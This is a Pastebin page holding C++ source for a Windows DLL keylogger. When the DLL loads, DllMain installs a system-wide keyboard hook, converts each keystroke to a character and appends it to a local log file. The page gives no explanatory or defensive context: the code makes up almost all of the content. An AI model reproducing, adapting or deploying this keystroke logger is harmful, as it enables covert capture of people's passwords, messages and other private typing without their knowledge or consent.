Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // dllmain.cpp : Defines the entry point for the DLL application.
- #include "stdafx.h"
- #include <Windows.h>
- #include <stdio.h>
- #pragma comment(linker, "/SECTION:.MYHOOK,RWS")
- #pragma data_seg(".MYHOOK")
- const char* cLogFile = "d:\\report.txt";
- HINSTANCE hInstance = NULL;
- HHOOK hkb = NULL;
- FILE *f1 = NULL;
- BOOL hookActive = FALSE;
- #pragma data_seg()
- LRESULT CALLBACK KeyboardProc(
- int nCode,
- WPARAM wParam,
- LPARAM lParam)
- {
- char ch;
- if (((DWORD)lParam & 0x40000000) && (HC_ACTION == nCode))
- {
- if ((wParam == VK_SPACE) || (wParam == VK_RETURN) || (wParam >= 0x2f ) && (wParam <= 0x100))
- {
- f1 = fopen(cLogFile, "a+");
- if (wParam == VK_RETURN)
- { ch = '\n';
- fwrite(&ch, 1, 1, f1);
- }
- else
- {
- BYTE ks[256];
- GetKeyboardState(ks);
- WORD w;
- UINT scan;
- scan = 0;
- ToAscii(wParam,scan, ks, &w, 0);
- ch = char(w);
- fwrite(&ch, 1, 1, f1);
- }
- fclose(f1);
- }
- }
- LRESULT RetVal = CallNextHookEx(hkb, nCode, wParam, lParam);
- return RetVal;
- }
- BOOL InstallHook()
- {
- f1 = fopen(cLogFile, "w");
- fputs("loaded...\n",f1);
- fclose(f1);
- hkb = SetWindowsHookEx(WH_KEYBOARD,
- (HOOKPROC)KeyboardProc,
- hInstance,
- 0);
- hookActive = TRUE;
- MSG msg;
- BOOL bRet;
- while( (bRet = GetMessage( &msg, NULL, 0, 0 )) != 0)
- {
- if (bRet == -1)
- {
- return FALSE;
- }
- else
- {
- TranslateMessage(&msg);
- DispatchMessage(&msg);
- }
- }
- if(hkb == NULL)
- return FALSE;
- else
- return TRUE;
- }
- BOOL UnHook()
- {
- BOOL unhooked = UnhookWindowsHookEx(hkb);
- return unhooked;
- }
- BOOL APIENTRY DllMain( HMODULE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- {
- BOOL result = FALSE;
- DWORD err;
- LPTSTR Error = 0;
- switch (ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- hInstance = hModule;
- if(!hookActive)
- result = InstallHook();
- else
- break;
- if(!result)
- {
- // Get last error.
- err = GetLastError();
- // Translate ErrorCode to String.
- if(::FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
- NULL,
- err,
- 0,
- (LPTSTR)&Error,
- 0,
- NULL) == 0)
- {
- // Failed in translating.
- }
- // Display message.
- MessageBox( NULL, Error, L"GetLastError()", MB_OK|MB_ICONWARNING );
- // Free the buffer.
- if( Error )
- {
- ::LocalFree( Error );
- Error = 0;
- }
- }
- break;
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- case DLL_PROCESS_DETACH:
- UnHook();
- break;
- }
- return TRUE;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement